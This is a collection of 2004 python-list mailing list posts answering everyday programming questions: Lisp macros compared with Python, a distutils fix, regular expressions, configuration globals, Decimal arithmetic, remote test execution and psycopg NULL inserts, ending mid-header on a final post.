References: <69A0D4AB81C51447AD6BA387782B8D64093D8A@midl-mail4.etcconnect.com>
	<028FD9F0-4E01-11D8-BB78-0003934ACDEC@zdome.net>
	<4011C497.1040302@prescod.net>
	<mailman.726.1074923000.12720.python-list@python.org>
Message-ID: <7xznbj8lwb.fsf@ruckus.brouhaha.com>

Dietrich Epp <dietrich at zdome.net> writes:
> My Lisp project related to an RPG and random generation of items.
> It had lots of code like the following:
> 
> (defun random-sword-magic-power (quality)
>    (choose-random-assoc
>      quality (poor medium good)
>      ((5 0 0) (glows-in-the-dark))
>      ((3 3 0) (magically-silent))
>      ((1 5 1) (elemental-power (select-random '(earth water air fire))))
>      ((0 2 4) (magical-keen-edge))
>      ((0 0 2) (append (random-sword-magic-power 'medium)
>                       (random-sword-magic-power 'medium)))))
> ...
> I'm not trying to say that all applications are like my application,
> and I'm not trying to say that my application can't be written in
> Python.  I'm just saying that using macros, a paradigm that Python
> doesn't even come close to supporting, makes reading and writing
> functions like the above a lot easier.  You don't even need to know
> that 'choose-random-assoc' is a macro, you just need to know how to
> use it.  Heck, defun is a macro in Clisp.

I don't understand why choose-random-assoc needs to be a macro instead
of a function in the above example.

> I challenge anyone to come up with a better way to express the above
> function in Python.  If I think it's better, I'll write "PYTHON RULZ"
> on my forehead and post a photo on the web.

This doesn't look too bad:

def random_sword_magic_power (quality):
  prob_list = [(5, 0, 0, power.glows_in_the_dark),
               (3, 3, 0, power.magically_silent),
               (1, 5, 1, power.elemental_power, 
                           random.choice(('earth','water','air','fire))),
               (0, 2, 4, power.magical_keen_edge),
               (0, 0, 2, random_sword_magic_power('medium') +
                           random_sword_magic_power('medium'))]
  quality_level = ('poor', 'medium', 'good').index(quality)
  return [weighted_random_choice(quality_level, prob_list)]


From nospam-deets at web.de  Thu Feb  5 07:56:34 2004
From: nospam-deets at web.de (Diez B. Roggisch)
Date: Thu, 05 Feb 2004 13:56:34 +0100
Subject: Creating a variable of a specific type
References: <mailman.1236.1075978481.12720.python-list@python.org>
Message-ID: <bvtei9$10enm4$1@ID-111250.news.uni-berlin.de>

> I understand that Python is strongly, but also dynamically typed. However,
> I need to create a variable which initially isn't actually set to
> anything, but still needs to be of a certain type. I've looked around a
> bit, but I'm not entirely sure how to do this.
> 
> Specifically, I have a bit of C++ code which says:
> 
> struct in_addr ipAddress;
> struct sockaddr_in serverAddress;
> map<int, socklen_t> clientAddressSizes;
> fd_set primarySocketTable;
> map<int, pthread_t> socketThreads;
> 
> ...this is an except of a sample of different types that I am using. From
> looking at the documentation for the Python socket module, for instance, I
> can see that the function socket.inet_ntoa() requires a variable in struct
> in_addr form, just like in C++. The difference is that I don't know how to
> set up a 'blank' variable, if you see what I mean!
> 
> I'm sure it's just a simple thing that has eluded me somehow, but in
> addition to answering this question if anyone can speak any wisdom about
> the other data types I have listed above, and their equivalents in Python,
> that would be helpful.

While your are right that python is strong and dynamically typed, you have a
(very common) misconception about variables in python. In python, you have
values on the one side, and _names_ that are bound to certain values on the
other side. So

a = 10
a = "20"

is perfectly legal - and there is no way of limiting the types of values
bound to a (which is what you are asking for). Now while this might look
like weak typing, its not, as this example shows:

a = 10
b = "30"
a + b
TypeError: unsupported operand type(s) for +: 'i

That would go with perl or tcl - and even C! In c, the example would more
look like this:

int a = 10;
char *b = "30";
a + b;

This compiles without any complaints....

Now back to your problem: I don't know right from my head what socket
requires as inet-type, but I guess its a tuple of some sort. You don't need
to declare a variable for that - just use it. If you need to check for a
symbol not beeing initialized, simply use None as value, like here:

address = None
if address:
  do_something(address)

None is considered false. You might be more explicit, by using

if address == None:

but thats a matter of taste (to me, at least...)


--
Regards,

Diez B. Roggisch


From Holger.Joukl at LBBW.de  Mon Feb 23 04:01:00 2004
From: Holger.Joukl at LBBW.de (Holger Joukl)
Date: Mon, 23 Feb 2004 10:01:00 +0100
Subject: Antwort: Distutil install problem ['LBBW': checked]
Message-ID: <OFE66AF747.52B5F1E5-ONC1256E43.002F0498-C1256E43.00317EF4@lbbw.sko.de>


Hi,
what version of python are you using?
I got the same error when invoking a customized, 2-year-old version of
distutils with
python 2.3.3 (instead of 1.5.2, as before). Reason is code in dist.py,
using dir() to
look up the attributes of a class instance. But dir() nowadays also returns
the class methods,
__doc__ etc.
Changing this in the old distutils/dist.py made it work for me, again (line
numbers might be slightly
different for you):
distutils/dist.py
122c122
<         method_basenames = dir(self.metadata) + \
---
>         method_basenames = self.metadata.__dict__.keys() + \

I don?t know what PDO is, but maybe it is also shipped including its own
distutils module, still
using the "old" code and you try running it with an new python interpreter?
Then you might either
- change the local distutils as proposed above or
-  use the distutils that comes with the newer python versions (renaming
the distutils dir in your PDO
module should trigger this), which is recommended

Good  luck
  Holger




|---------+--------------------------------------------------->
|         |                                                   |
|         |                                                   |
|         |                                                   |
|         |                                                   |
|         |  Derek Croxton <croxton3 at yahoo.com>               |
|         |  Gesendet von:                                    |
|         |  python-list-bounces+holger.joukl=lbbw.de at python.o|
|         |  rg                                               |
|         |                                                   |
|         |                                                   |
|         |  21/02/2004 02:48                                 |
|         |                                                   |
|---------+--------------------------------------------------->
  >------------------------------------------------------------------------------------------------------------------|
  |                                                                                                                  |
  |        An:      python-list at python.org                                                                           |
  |        Kopie:                                                                                                    |
  |        Thema:   Distutil install problem ['LBBW': checked]                                                       |
  >------------------------------------------------------------------------------------------------------------------|




I just installed a new Linux distribution (MEPIS) and went to install
PDO and got the error

Traceback (most recent call last):
   File "setup.py", line 2, in ?
     from distutils.core import setup
ImportError: No module named distutils.core

Undaunted, I downloaded the Distutils package, which is supposed to be
able to install itself with the usual "python setup.py install."
However, when I tried this I got a different error:

   File "setup.py", line 30, in ?
     packages = ['distutils', 'distutils.command'],
   File "/root/Downloads/Distutils-1.0.2/distutils/core.py", line 101,
in setup
     _setup_distribution = dist = klass(attrs)
   File "/root/Downloads/Distutils-1.0.2/distutils/dist.py", line 130,
in __init__
     setattr(self, method_name, getattr(self.metadata, method_name))
AttributeError: DistributionMetadata instance has no attribute
'get___doc__'

I'm still a newbie to Linux and mostly a newbie to Python (5 months
experience).  I have a general idea of what this error means, but I have
no idea how to go about fixing it.  I would appreciate any solutions
people could offer.

Sincerely,
Derek



--
http://mail.python.org/mailman/listinfo/python-list



+----------------------------------------------------------------------+
| LBBW Security Information                                            |
+----------------------------------------------------------------------+
| - Die Nachricht war weder verschluesselt noch digital unterschrieben |
+----------------------------------------------------------------------+




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From invalid at hazen.net  Wed Feb 25 19:30:32 2004
From: invalid at hazen.net (John Hazen)
Date: Wed, 25 Feb 2004 16:30:32 -0800
Subject: Regular expressions help
In-Reply-To: <1qpuzwm54ciep.1or0q8o54xioc$.dlg@40tude.net>
References: <6af33541.0402241054.77ae5c61@posting.google.com>
	<1qpuzwm54ciep.1or0q8o54xioc$.dlg@40tude.net>
Message-ID: <20040226003032.GB1991@gate2.hazen.net>

> Mike Hearne wrote on 24 Feb 2004 10:54:45 -0800:
> 
> > Given the following three lines:
> > 
> > name fredgeorge
> > name georgeharry
> > name george
> > 
> > I'm trying to find a regular expression that matches only the third
> > one.

* Andrei <fake at fake.net> [2004-02-24 12:34]:
> It's pretty easy:
> 
> "name george$"
> 
> "$" means end of string

And if you'd also prefer not to match:

name name george

Then, you could match for:
"^name george$"

"^" means the beginning of the string.

-John
< my_first_name AT my_last_name DOT net >



From fumanchu at amor.org  Tue Feb 17 13:16:25 2004
From: fumanchu at amor.org (Robert Brewer)
Date: Tue, 17 Feb 2004 10:16:25 -0800
Subject: Another software design question: program-level globals
Message-ID: <DE1CF2B4FEC4A342BF62B6B2B334601E561D46@opus.amorhq.net>

Robin Munn wrote:
> OK, here's another software design question, one that's been 
> bugging me
> for a while now. What do y'all think is the best way to handle
> program-level globals, such as configuration option -- especially in
> multi-module programs?
> 
> Here's one approach:
> 
> --- main.py ---
> import my_globals as g
> import somefuncs
> import morefuncs
> from optparse import OptionParser
> 
> def main():
>     parser = OptionParser()
>     parser.add_option( ... )
>     g.opts, g.args = parser.parse_args()
> 
>     somefuncs.do_setup()
>     morefuncs.do_some_more_setup()
>     
>     somefuncs.do_some_work()
> 
> if __name__ == '__main__':
>     main()
> 
> 
> --- somefuncs.py ---
> import my_globals as g
> 
> def do_setup():
>     if g.opts.some_option:
>         do_it_one_way()
>     else:
>         do_it_a_different_way()
> 
> 
> --- morefuncs.py ---
> import my_globals as g
> 
> def do_some_more_setup():
>     for arg in g.args:
>         do_something_with(arg)
> 
> 
> --- my_globals.py ---
> (empty file)
> 
> 
> This approach relies on the fact that modules only get imported once.
> Thus when each module imports my_globals, it gets the *same* object
> (which is then given the name g to make it easier to write later). So
> when the attributes of g are modified in the main() function, they can
> then be read by do_setup() and do_some_more_setup(), because 
> the object
> that somefuncs.py and morefuncs.py call "g" is the same module object
> that main.py also calls "g".

That works, but isn't very clear IMO, if only because people aren't used
to using modules as empty containers like that. Generally, I do the same
thing, only with an explicit class to handle the "globals".

class Namespace(object):
    
    config = {}
    loaded = False
    
    def __init__(self):
        self.config = {u'UnitTypes': {}}
        self.loaded = False
    
    def load(self):
        """Process self.config."""
        
        # Merge in any files mentioned in config['ConfigFiles']
        configFiles = [x.strip() for x
                       in self.config.get(u"ConfigFiles",
u'').split(u',')]
        for eachFile in configFiles:
            graft(configCP(eachFile), self.config)
        
        # Load logger.
        try:
            allOptions = self.config[u'Logging']
        except KeyError:
            pass
        else:
            fileName = allOptions[u'FileName']
            level = getattr(logging, allOptions.get(u'Level', u'ERROR'),
u'ERROR')
            formatter = logging.Formatter('%(asctime)s %(levelname)s
%(message)s')
            hdlr = logging.FileHandler(fileName)
            hdlr.setFormatter(formatter)
            logger = logging.getLogger('DejavuMain')
            logger.addHandler(hdlr)
            logger.setLevel(level)
        
        # Other loading stuff...
        
        # Run startup functions.
        try:
            startups = self.config[u'Startup']
        except KeyError:
            pass
        else:
            startups = dict([(int(key), value)
                             for key, value in startups.items()])
            keys = startups.keys()
            keys.sort()
            for index in keys:
                func = xray.functions(startups[index])
                func(currentUI())
        
        self.loaded = True

def graft(newConfig, oldConfig):
    """Merge two configuration dictionaries.
    String values will be overwritten; dict values will be updated."""
    for key, value in newConfig.items():
        if isinstance(value, dict):
            if key in oldConfig.keys():
                oldConfig[key].update(value)
            else:
                oldConfig[key] = value
        else:
            oldConfig[key] = value


def configCP(configFileName):
    """Processor for a ConfigParser file (for updating
Namespace.config)."""
    parser = ConfigParser.ConfigParser()
    parser.optionxform = unicode            # Makes names
case-sensitive.
    parser.read(configFileName)
    
    conf = {}
    for section in parser.sections():
        conf[section] = dict(parser.items(section))
    return conf

In your example, this class might be placed in my_globals.py. Since
modules *are* only loaded once, the other issue you might run into is
two instances of your app overwriting each others' globals. Having a
separate Namespace object for each app instance fixes that (hence the
name "Namespace").


Robert Brewer
MIS
Amor Ministries
fumanchu at amor.org



From dcarrera at math.umd.edu  Wed Feb 18 15:24:38 2004
From: dcarrera at math.umd.edu (Daniel Carrera)
Date: Wed, 18 Feb 2004 15:24:38 -0500
Subject: License
Message-ID: <20040218202437.GA1913@math.umd.edu>

Hi guys,

IANAL, hence I need a bit of help understanding Python's license.

Does it fall neatly in any of the following categories?

  *  GPL-style.
  *  LGPL-style.
  *  BSD or MIT style.

Any guidance would be appreciated.

Cheers,
-- 
Daniel Carrera | No trees were harmed in the generation of this  e-mail.
PhD student.   | A significant number of electrons were, however, severely 
Math Dept. UMD | inconvenienced.




From me at privacy.net  Thu Feb 26 04:34:11 2004
From: me at privacy.net (Duncan Booth)
Date: 26 Feb 2004 09:34:11 GMT
Subject: How does Ruby compare to Python?? How good is DESIGN of
	Rubycompared to Python?
References: <bf23f78f.0402241443.678bf6c8@posting.google.com>
	<c1h1sb$1it26i$1@ID-169208.news.uni-berlin.de>
	<slrnc3ob0q.i6n.joe@gate.notcharles.ca>
	<mailman.100.1077717447.8594.python-list@python.org>
	<slrnc3q0j8.jm5.joe@gate.notcharles.ca>
Message-ID: <Xns949B61515EFD1duncanrcpcouk@127.0.0.1>

Joe Mason <joe at notcharles.ca> wrote in 
news:slrnc3q0j8.jm5.joe at gate.notcharles.ca:

> A better example of buond vs. unbound methods is this:
> 
> def boundFunc(callback):
>     print callback(5, 6)
> 
> def unboundFunc(obj, callback):
>     print callback(obj, 5, 6)
>     
> def functionCallback(a, b):
>     return a + b
> 
> class Foo:
>     def methodCallback(self, a, b):
>         return a * b + self.c
>     def setc(self, c):
>         self.c = c
> 
>>>> boundFunc(functionCallback)
> 11
>>>> f = Foo()
>>>> f.setc(3)
>>>> boundFunc(f.methodCallback)
> 33
>>>> unboundFunc(f, Foo.methodCallback)
> 33

Say I modify your example so that we only have one Func which accepts 
either a bound or unbound (functionCallback and Foo definitions are 
unchanged):

>>> def Func(callback, *extra_args):
        print callback(*(extra_args+(5,6)))

        
>>> Func(functionCallback)
11
>>> f = Foo()
>>> f.setc(3)
>>> Func(f.methodCallback)
33
>>> Func(Foo.methodCallback, f)
33
>>> 

Python doesn't care what type of callable it is passed, so long as it 
somehow ends up with the right arguments to call it. Can Ruby handle this 
case?


From healthed at hotmail.com  Sun Feb 22 15:05:12 2004
From: healthed at hotmail.com (weasel)
Date: Sun, 22 Feb 2004 20:05:12 GMT
Subject: Conversion code not working properly
References: <3uuh305tv9o3g5dpenoqaghtbkiuihdpua@4ax.com>
	<mailman.172.1077478069.27104.python-list@python.org>
Message-ID: <8r2i30lf78chieimq8gmo0pb4a0ougq1m3@4ax.com>

see my other post. I've got an example of what's going wrong.

On Sun, 22 Feb 2004 14:27:28 -0500, "Terry Reedy" <tjreedy at udel.edu>
wrote:

>
>"weasel" <healthed at hotmail.com> wrote in message
>news:3uuh305tv9o3g5dpenoqaghtbkiuihdpua at 4ax.com...
>> Why is the Farenheit to Celsius part not working properly?
>
>Specific examples of what you put in, what you get out, and what you
>expected out and why often helps get answers.
>
>> Instead of
>> showing a similar range of what the farenheit is listing, the celsius
>> portion is showing half the range of farenheit.
>
>Celcius ranges are 5/9ths, approximately 1/2, the corresponding Farenheit
>ranges.
>
>Terry J. Reedy
>
>
>



From scrutinizer at gmx.at  Sun Feb 22 09:53:37 2004
From: scrutinizer at gmx.at (Francesco)
Date: Sun, 22 Feb 2004 15:53:37 +0100
Subject: Where can I post a new debugger?
References: <mailman.160.1077453987.27104.python-list@python.org>
Message-ID: <phgh30lkmctfcmn5j8aant2vlctsqv66bt@4ax.com>

On Sun, 22 Feb 2004 14:46:24 +0200, "Ziaran _" <nir1408 at hotmail.com>
wrote:

>I have written a new debugger.
>I think people will find it useful.
>Where can I post it for people to download?
>
>Thanks,
>Nir

Hello Nir,

You could create a soureforge project (?)!


-- 
Francesco


From dan at ithium.net  Fri Feb  6 20:07:15 2004
From: dan at ithium.net (Dan Williams)
Date: Sat, 7 Feb 2004 01:07:15 -0000
Subject: Print function and spaces
In-Reply-To: <bvtfop$vs5l8$1@ID-111250.news.uni-berlin.de>
Message-ID: <E1ApGwg-00075m-6O.2004-02-07-01-07-43@tmailb1.svr.pol.co.uk>

Well, in the end I wrote this:


def echo(*args):
	if (len(args) == 0):
		sys.stdout.write("\n")
		return
	
	for x in args:
		if (x != None):
			sys.stdout.write(str(x))

	if (x != None):
		sys.stdout.write("\n")


I called it echo for obvious reasons !-)

Basically it emulates print very closely, except it omits that annoying
space.

Maybe it'll be useful to someone other than myself :P

Dan


PS - I've used \n because that is what I am used to using. Should I be using
\r\n...?

 

-----Original Message-----
From: python-list-bounces+dan=ithium.net at python.org
[mailto:python-list-bounces+dan=ithium.net at python.org] On Behalf Of Diez B.
Roggisch
Sent: 05 February 2004 13:17
To: python-list at python.org
Subject: Re: Print function and spaces

> def PrintWithoutSpaces(*args):
>     output = ""
>     for i in args:
>         output = output + i
>         
>     print output
>     
> 
> if __name__ == "__main__":
>     PrintWithoutSpaces("yo", "hello", "gutentag")
> ---snip----
> 
> this prints "yohellogutentag"

You function won't work on mixed-type args:

PrintWithoutSpaces("a", 10)
Traceback (most recent call last):
  File "<stdin>", line 1, in ?
  File "<stdin>", line 4, in PrintWithoutSpaces
TypeError: cannot concatenate 'str' and 'int' objects


A better way would be this:

def myprint(*args):
  print "".join([str(x) for x in args])


--
http://mail.python.org/mailman/listinfo/python-list





From FBatista at uniFON.com.ar  Thu Feb 26 08:10:47 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Thu, 26 Feb 2004 10:10:47 -0300
Subject: How to obscure a password
Message-ID: <A128D751272CD411BC9200508BC2194D0338368E@escpl.tcp.com.ar>

I'm doing a small program, in which the user will have the option to enter
his/her password everytime, or just save it (to a file).

So, is there a module to obscure the password text in a secure way?

I can't hash it (with md5 or something), because I not need to compare the
password the user enters with a previous one.

I need to restore the password later and use it as if the user just entered
it.

Thank you all!

Facundo Batista
Gesti?n de Red
fbatista at unifon.com.ar
(54 11) 5130-4643
Cel: 15 5132 0132





From P at draigBrady.com  Thu Feb 19 09:50:13 2004
From: P at draigBrady.com (P at draigBrady.com)
Date: Thu, 19 Feb 2004 14:50:13 +0000
Subject: multiply utple or list
In-Reply-To: <4034c694$0$706$5402220f@news.sunrise.ch>
References: <4034c694$0$706$5402220f@news.sunrise.ch>
Message-ID: <G24Zb.3608$rb.59546@news.indigo.ie>

Jim Red wrote:
> what is the best way to multiply a tuple or list by a given value
> 
> exp.
> multiply (4, 5) by 2 => (8, 10)

something like this?

import types
def multiply_sequence(sequence, multiplier):
     new_sequence = map(lambda item: item*multiplier, sequence)
     if type(sequence) == types.TupleType:
         return tuple(new_sequence)
     elif type(sequence) == types.ListType:
         return new_sequence

-- 
P?draig Brady - http://www.pixelbeat.org



From FBatista at uniFON.com.ar  Mon Feb  2 09:45:32 2004
From: FBatista at uniFON.com.ar (Batista, Facundo)
Date: Mon, 2 Feb 2004 11:45:32 -0300 
Subject: PEP 327: Decimal Data Type
Message-ID: <A128D751272CD411BC9200508BC2194D0338356D@escpl.tcp.com.ar>


danb_83 wrote: 

#- On the other hand, when I say that I am 1.80 m tall, it doesn't imply
#- that humans height comes in discrete packets of 0.01 m.  It 
#- means that
#- I'm *somewhere* between 1.795 and 1.805 m tall, depending on my
#- posture and the time of day, and "1.80" is just a convenient
#- approximation.  And it wouldn't be inaccurate to express my height as
#- 0x1.CC (=1.796875) or (base 12) 1.97 (=1.7986111...) meters, because
#- these are within the tolerance of the measurement.  So number base
#- doesn't matter here.

Are you saying that it's ok to store your number imprecisely because you
don't take well measures?


#- But even if the number base of a measurement doesn't matter, 
#- precision
#- and speed of calculations often does.  And on digital computers,
#- non-binary arithmetic is inherently imprecise and slow.  Imprecise
#- because register bits are limited and decimal storage wastes them. 
#- (For example, representing the integer 999 999 999 requires 
#- 36 bits in
#- BCD but only 30 bits in binary.  Also, for floating point, 
#- only binary
#- allows the precision-gaining "hidden bit" trick.)  Slow because
#- decimal requires more complex hardware.  (For example, a BCD 
#- adder has
#- more than twice as many gates as a binary adder.)

In my dreams, speed and storage are both infinite, :p

.	Facundo



From ptmcg at users.sourceforge.net  Fri Feb 27 21:01:08 2004
From: ptmcg at users.sourceforge.net (Paul McGuire)
Date: Sat, 28 Feb 2004 02:01:08 GMT
Subject: Reading data in lists: Error
References: <mailman.228.1077928707.8594.python-list@python.org>
Message-ID: <EDS%b.5732$qo.1425@fe1.texas.rr.com>

        NXD=sqrt(((y[i]-y[i-1])**2)+((x[i]-x[i-1]**2))
        NYA=x[i]-x[i-1]       < syntax error raised on this line, because
mismatched ()'s on previous line
        NYD=sqrt(((y[i]-y[i-1])**2)+((x[i]-x[i-1]**2))
        NX=NXA/NXD

-- Paul




From peter at engcorp.com  Wed Feb 11 17:26:23 2004
From: peter at engcorp.com (Peter Hansen)
Date: Wed, 11 Feb 2004 17:26:23 -0500
Subject: Hi All, have a  question
References: <mailman.1490.1076534640.12720.python-list@python.org>
Message-ID: <402AAC0F.3995BA83@engcorp.com>

"Batista, Facundo" wrote:
> 
> If you type "python" in the command line, it opens the interpreter?
> 
> If yes, you can put "#!/usr/bin/env python" in the first line of the script.
> 
> And remember, in either case, the second line *must* be blank.

Why is that?  I've never heard this advice before, and it doesn't seem
to be necessary, as a test I just did suggests.  (RedHat 8.0, Py 2.2.1)

-Peter


From jgrahn-nntq at algonet.se  Mon Feb 16 11:58:34 2004
From: jgrahn-nntq at algonet.se (Jorgen Grahn)
Date: Mon, 16 Feb 2004 16:58:34 +0000 (UTC)
Subject: Executing a file remotely
References: <731fc603.0402111520.717e763c@posting.google.com>
	<slrnc2lf46.16j.bignose-hates-spam@rose.localdomain.fake>
	<102li7mgihijf97@corp.supernews.com>
	<slrnc2ljem.16j.bignose-hates-spam@rose.localdomain.fake>
	<731fc603.0402121446.2cbb2c5c@posting.google.com>
Message-ID: <slrnc31tj2.aus.jgrahn-nntq@frailea.sa.invalid>

On 12 Feb 2004 14:46:54 -0800, Hank <soundwave56 at yahoo.ca> wrote:
> This is strictly for automated software testing on windows. Test
> scripts on one machine, application under test on another machine.
> This is why i need to run files remotely.
> 
> I couldn't find any specific python code that would do the job, so I
> just use PsExec from www.sysinternals.com. I wouldn't consider it as a
> security breach because it does require user name and password.

In that case you'd be better off with a good port of ssh, which encrypts
passwords and traffic (although it probably doesn't matter much if both
machines are on a LAN where lots of Windows passwords already travel in the
clear).

/Jorgen

-- 
  // Jorgen Grahn <jgrahn@      ''If All Men Were Brothers,
\X/                algonet.se>    Would You Let One Marry Your Sister?''


From Scott.Daniels at Acm.Org  Sat Feb 21 14:11:02 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Sat, 21 Feb 2004 11:11:02 -0800
Subject: class vs function ???
In-Reply-To: <1c764367.0402210857.579f59ab@posting.google.com>
References: <1c764367.0402210857.579f59ab@posting.google.com>
Message-ID: <4037b651$1@nntp0.pdx.net>

Gaurav Veda wrote:

> I am a poor mortal who has become terrified of Python.
It's a nice snake, but don't let it wrap itself around you.

> What is the difference between a class and a function in Python ???
Substantial.  However, your code is not testing that.
The thing to remember is that definitions are executed
to create the defined thing.

A function definition creates code and then stores the code as
the name in the def part.

A class definition creates a new "context,", then interprets the
rest of the class definition in that context.  At the end of the
class definition, the class name, superclass list, and all names
defined in context are handed to a metaclass in order to build
a class from that definition, and the class returned by the
metaclass is then stored under the class name.  One of the jobs
of the metaclass is to convert functions defined in the context
into "unbound methods".

Your code, if typed in to an interactive interpreter, would
clue you in that this was happening.

> # Fragment 1 begins 
> 
> a = 1
a is defined
> print a
1 is printed here
> def fun1():
>     global b
>     b = "inside fun1"
>     print b
nothing is printed here, but fun1 is defined.
now you have a and fun1
> fun1()
'inside fun1' is printed here, and b is defined
> def c1():
>     print a
>     print b
>     c = 12
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d
>     fun2()
Again, nothing is printed here, c1 is defined.
> c1()
Now you get the output 'We are dead!!!', and d is defined.
> class c2:
>     pass
c2 the class is defined.
> print d
the d produced by c1 above is printed.
> print c
I cannot imagine where c came from (it was local to c1, so
goes away when c2 is exited (and is only available inside c1
and fun2 (because fun2 was defined inside c1).
> 
> # Fragment 1 ends
> # Fragment 2 begins
> a = 1
> print a
> def fun1():
>     global b
>     b = "inside fun1"
>     print b
> fun1()
up to here is all works the same.
> class c1:
>     print a
here 1 is printed
>     print b
here 'inside fun' is printed
>     c = 12
Here a variable named c is created in the context which will become c1
>     def fun2():
>         global d
>         d = "We are dead !!!"
>         print d
Here a function named fun2 is created in the ...
>     fun2()
Here, within the pending context, the normal function fun2 is called.
'We are dead!!!' is printed and the global d is defined.

At the end of c1's definition (because of the outdent below),
a metaclass is handed 'c1', empty superclasses, and a dictionary
containing entries for 'c' and 'fun2'.  Now fun2 is converted from
a function to an unbound method in this process.
you could type 'print c1.c' to see a 12 come out.

> class c2:
>     pass
Another class is defined.

> print d
d was created by the function fun2 when called inside c1's definition.
> print c
c is a class variable on c1.  You could type 'print c1.c'

> Waiting for some 'logical' explanation !!!
I hope this helps.

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From jcarlson at nospam.uci.edu  Thu Feb 12 15:40:41 2004
From: jcarlson at nospam.uci.edu (Josiah Carlson)
Date: Thu, 12 Feb 2004 12:40:41 -0800
Subject: p2ph
In-Reply-To: <899d28b2.0402121000.5775d875@posting.google.com>
References: <899d28b2.0402121000.5775d875@posting.google.com>
Message-ID: <c0gogs$qqp$1@news.service.uci.edu>

> Is there a perl to python converter from Windows/DOS? If so, point me to it.

I don't believe so, but there is a sometimes-correct translator if you 
install the correct versions of Perl and Python in the wetware on top of 
your shoulders.

Sometimes the installation can be tricky.  I've never properly managed 
to get Perl running on my wetware.  Python sure, no problem, but Perl 
just doesn't want to run properly.

C/C++ to Python and Python to C/C++ is pretty easy to get running 
though.  I hear Java isn't too bad, but I have no need for it, so never 
tried installing it.

  - Josiah

P.S. ;)


From deets_noospaam at web.de  Wed Feb 18 11:52:14 2004
From: deets_noospaam at web.de (Diez B. Roggisch)
Date: Wed, 18 Feb 2004 17:52:14 +0100
Subject: psycopg NULL
References: <slrnc374qc.1dfn.missive@homer.easthighschool.net>
Message-ID: <c1057u$5go$07$1@news.t-online.com>

> # None of these work ...
> #curs.execute('INSERT INTO foo (i) VALUES (%s)' % None)
> #curs.execute('INSERT INTO foo (i) VALUES (%d)' % None)
> #curs.execute('INSERT INTO foo (i) VALUES (%i)' % None)
> #conn.commit()

> Any suggestions?

Try literal NULL - as the statement is a string, the types are figured out
by pg itself:

curs.execute('INSERT INTO foo (i) VALUES (NULL)')

-- 
Regards,

Diez B. Roggisch


From aahz at pythoncraft.com  Thu Feb  5 22:39:21 2004
From: aahz at pythoncraft.com (Aahz)
Date: 5 Feb 2004 22:39:21 -0500
Subject: PEP 327: Decimal Data Type
References: <mailman.1054.1075487007.12720.python-list@python.org>
	<ad052e5c.0401310101.1c5bd5aa@posting.google.com>
	<bvtjb4$gic$1@panix2.panix.com>
	<qeq520pv7kbd1s3ojmn3idetjuljhtk5md@4ax.com>
Message-ID: <bvv299$bj8$1@panix2.panix.com>

In article <qeq520pv7kbd1s3ojmn3idetjuljhtk5md at 4ax.com>,
Stephen Horne  <steve at ninereeds.fsnet.co.uk> wrote:
>On 5 Feb 2004 09:18:12 -0500, aahz at pythoncraft.com (Aahz) wrote:
>>In article <ad052e5c.0401310101.1c5bd5aa at posting.google.com>,
>>Dan Bishop <danb_83 at yahoo.com> wrote:
>>>
>>>For money, it means that I have *exactly* $1.80.  This is because
>>>"dollars" are just a notational convention for large numbers of cents.
>>> I can just as accuately say that have an (integer) 180 cents, and
>>>indeed, that's exactly the way it would be stored in my financial
>>>institution's database.  (I know because I used to work there.)  So
>>>all you really need here is "int".  But I do agree with the idea of
>>>having a class to hide the decimal/integer conversion from the user.
>>
>>Really.  What kind of financial institution was this?  They didn't need
>>to deal with any form of fractional pennies?
>
>Does it really matter if they did? They may not deal in whole pennies,
>but I seriously doubt that they need infinite precision - integers
>with a predefined scaling factor (ie fixed point arithmetic) will, I
>suspect, handle those few jobs that counting in pennies can't.

That's mostly true (witness Tim Peters's FixedPoint.py).  If you really
want to debate this issue, read Cowlishaw first:
http://www2.hursley.ibm.com/decimal/decarith.html
-- 
Aahz (aahz at pythoncraft.com)           <*>         http://www.pythoncraft.com/

"The joy of coding Python should be in seeing short, concise, readable
classes that express a lot of action in a small amount of clear code -- 
not in reams of trivial code that bores the reader to death."  --GvR


From atmo at go2.pl  Mon Feb 23 13:47:03 2004
From: atmo at go2.pl (Ringwraith)
Date: Mon, 23 Feb 2004 19:47:03 +0100
Subject: online cookbook recipes
References: <c1ahek$cth$1@nemesis.news.tpi.pl>
	<c1avaf$rt4$1@news.service.uci.edu>
Message-ID: <c1di23$347$1@atlantis.news.tpi.pl>

Thank you! Now everything is clear for me!
Best Regards,
Niki





From mac at dgp.toronto.edu  Thu Feb  5 21:55:37 2004
From: mac at dgp.toronto.edu (Maciej Kalisiak)
Date: Fri, 06 Feb 2004 02:55:37 GMT
Subject: "ulimit -s" has no effect?
References: <877jz2f8l9.fsf@dgp.toronto.edu>
	<bvsndq$q03$00$1@news.t-online.com>
	<87n07xwqi3.fsf@dgp.toronto.edu>
	<mailman.1277.1076026561.12720.python-list@python.org>
Message-ID: <87ad3wx6fg.fsf@dgp.toronto.edu>

Andrew MacIntyre <andymac at bullseye.apana.org.au> writes:
> I have no idea whether this affects Linux, but some pthreads
> implementations hard code the stack size for the "primary" or
> "initial" thread.
> 
> Python is built with thread support if possible (incl on Linux), but
> without explicit use of the thread support Python code runs in the context
> of the "primary" thread.
> 
> ISTR that RedHat, amongst others, changed thread implementations
> relatively recently.
> 
> I know that there is/was a bug in the Python bug tracker on SF related
> to this issue on Linux (symptom is test_sre dumping core) with Python
> 2.3.3.  This particular issue is sensitive to the version of gcc and
> optimisation settings (& on Linux, whether the Python core is in a SO),
> as newer releases/higher optimisation settings result in larger stack
> frames.

Interesting.

1. Is there a test or code snippet that I can run to confirm that this is what
   ails my system?

2. If this *is* the problem, what would be a good workaround?


For the record I am using Debian's sid/unstable distribution.
debs used:
  python        2.3.2.91-1
  libc6         2.3.2.ds1-8

"ldd" shows python uses libpthreads, and it comes from the above libc6
package.

Upgraded Python to debian package 2.3.3-5;  no change.


From stach at fr.USUN.pl  Wed Feb 11 15:48:49 2004
From: stach at fr.USUN.pl (Krzysztof Stachlewski)
Date: Wed, 11 Feb 2004 21:48:49 +0100
Subject: server bootstrapping upon connection (WARNING: LONG)
References: <ef08387c.0402100854.7c03b60c@posting.google.com>
	<86fzdiydpu.fsf@stronzo.brainbot.com> (null) (null)
	<2004021016361216807%this@isforspambot>
	<86k72uzfih.fsf@stronzo.brainbot.com>
	<2004021019594716807%this@isforspambot>
	<c0d5gg$u0m$1@absinth.dialog.net.pl>
	<2004021111431416807%this@isforspambot>
